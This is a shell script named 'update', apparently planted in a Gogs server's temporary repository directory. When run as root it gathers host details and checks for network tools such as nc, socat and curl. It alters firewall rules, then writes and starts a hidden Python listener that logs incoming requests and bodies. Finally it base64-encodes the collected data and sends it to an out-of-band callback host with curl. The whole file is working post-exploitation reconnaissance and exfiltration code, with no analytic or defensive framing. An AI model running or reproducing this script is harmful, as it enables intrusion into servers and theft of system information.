update 2.2 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455
  1. #!/bin/sh
  2. TAG="4392043"
  3. OUT="/root/gogs/data/tmp/local-repo/5878/_setup_$TAG.txt"
  4. {
  5. echo "tag=$TAG"
  6. echo "uid=$(id 2>&1)"
  7. echo "host=$(hostname 2>&1)"
  8. echo "py=$(command -v python3 2>&1)"
  9. echo "nc=$(command -v nc 2>&1)"
  10. echo "ncat=$(command -v ncat 2>&1)"
  11. echo "socat=$(command -v socat 2>&1)"
  12. echo "busybox=$(command -v busybox 2>&1)"
  13. echo "iptables=$(command -v iptables 2>&1)"
  14. echo "curl=$(command -v curl 2>&1)"
  15. echo "--- iptables drop 18082 ---"
  16. iptables -I INPUT -p tcp --dport 18082 -j DROP 2>&1 || true
  17. iptables -S INPUT 2>&1 | head -20
  18. echo "--- start listener 18081 ---"
  19. PY=$(command -v python3)
  20. if [ -n "$PY" ]; then
  21. cat > /root/pz_listener.py <<'PYEOF'
  22. import http.server, socketserver, time
  23. class H(http.server.BaseHTTPRequestHandler):
  24. def _log(self, body=b''):
  25. import time
  26. try:
  27. with open('/root/pz_cb_18081.log','a') as f:
  28. f.write('%s %s %s %s BODY=%r
  29. ' % (time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()), self.client_address[0], self.command + ' ' + self.path, dict(self.headers), body[:500]))
  30. except Exception as e:
  31. pass
  32. def do_GET(self):
  33. self._log(); self.send_response(200); self.send_header('Content-Length','2'); self.end_headers(); self.wfile.write(b'ok')
  34. def do_POST(self):
  35. ln = int(self.headers.get('Content-Length') or 0)
  36. body = self.rfile.read(ln) if ln else b''
  37. self._log(body); self.send_response(200); self.send_header('Content-Length','2'); self.end_headers(); self.wfile.write(b'ok')
  38. def log_message(self, *a): pass
  39. socketserver.ThreadingTCPServer.allow_reuse_address = True
  40. httpd = socketserver.ThreadingTCPServer(('0.0.0.0', 18081), H)
  41. httpd.serve_forever()
  42. PYEOF
  43. nohup "$PY" /root/pz_listener.py >/dev/null 2>&1 &
  44. echo "LISTENER_PID=$!"
  45. sleep 1
  46. echo "--- local check ---"
  47. curl -s -m 3 http://127.0.0.1:18081/selftest 2>&1 | head -c 50; echo
  48. fi
  49. echo "--- listener log ---"
  50. cat /root/pz_cb_18081.log 2>&1 | tail -5
  51. } > "$OUT" 2>&1
  52. D=$( base64 -w0 < "$OUT" 2>/dev/null | tr '+/' '-_' | tr -d '=' )
  53. U="http://cd4547282df75cd148ebcbfcf32c8ee45.oast.pro/setup/$TAG/$D"
  54. if command -v curl >/dev/null 2>&1; then curl -s -m 15 -o /dev/null "$U" || true; fi
  55. exit 0